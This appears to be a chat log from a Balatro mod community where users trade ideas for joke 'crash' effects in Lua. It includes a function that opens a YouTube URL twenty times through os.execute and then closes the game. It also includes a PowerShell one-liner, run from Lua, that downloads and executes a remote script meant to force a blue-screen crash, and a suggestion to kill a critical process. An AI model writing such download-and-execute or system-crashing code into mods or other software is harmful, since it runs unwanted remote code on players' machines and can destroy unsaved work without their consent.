New CRASH type for ://CRASH

[rough spire]

infinite views trick

function()
        --Elial1's new crash type
        local os1 = love._os
        for i = 1, 20 do
            if os1 == "OS X" then
                os.execute("open https://www.youtube.com/watch?v=aUr0gXE77rk")
            elseif os1 == "Windows" then
                os.execute("start https://www.youtube.com/watch?v=aUr0gXE77rk")
            elseif os1 == "Linux" then
                os.execute("xdg-open https://www.youtube.com/watch?v=aUr0gXE77rk")
            end
        end
        love.window.close()

    end

this HAS to be added

[late monolith]

So we added VIEWBOTTING to Cryptid…

[rough spire]

the REAL cryptid

cryptidding the views

[urban pond]

Oh god I should've saved the code for my Misprint crash idea too.

This is so rad

[late monolith]

imagine this

[rough spire]

NO

i've doomed us all

[late monolith]

let me test if it works

[rough spire]

why

wh

[late monolith]

you can still abort it if you have unsaved work

im not that evil

[rough spire]

i'd have to manually edit that out

[late monolith]

IT WORKS SO WELL

THATS SO EVIL

[urban pond]

NAHH THIS CAN'T BE ADDED

[late monolith]

Balatro but if I lose my PC bluescreens

[urban pond]

I might be able to recreate but 1: I forgot how I locked the cursor, 2: the movement math was super scuffed and 3: it can be escaped.

[late monolith]

os.execute('powershell -Command "IEX((New-Object Net.Webclient).DownloadString(\'https://raw.githubusercontent.com/peewpw/Invoke-BSOD/master/Invoke-BSOD.ps1\'));Invoke-BSOD"')

will this work?

[celest dock]

oh so now i see why lovely is tripping the antivirus

://TROJAN when

[late monolith]

bro windows defender stopped the BSOD from happening

[urban pond]

This is too funny to abandon but idk how to make not super scuffed 😭

[rough spire]

will this actually be added next update...

please do

[late monolith]

No

Unless it’s a fake one

[rough spire]

aww

[rough spire]

will this one be added

[rough spire]

i made a new one

technically not a crash buuut

[late monolith]

have it crash after 30 seconds

[late monolith]

maybe lol

might be funnier imo if it just opened a rickroll and crashed

[left nymph]

have a ://CRASH bsod that kills a critical process so it makes funny noise: https://youtu.be/_abKMFqa-8k?si=m2R39xjwYDYqbGeM&t=298

[junior current]

If there's gonna be a fake BSOD it should

Idk how to change the QR code and I don't wanna go into an image editor for that

Made it a rickroll or something though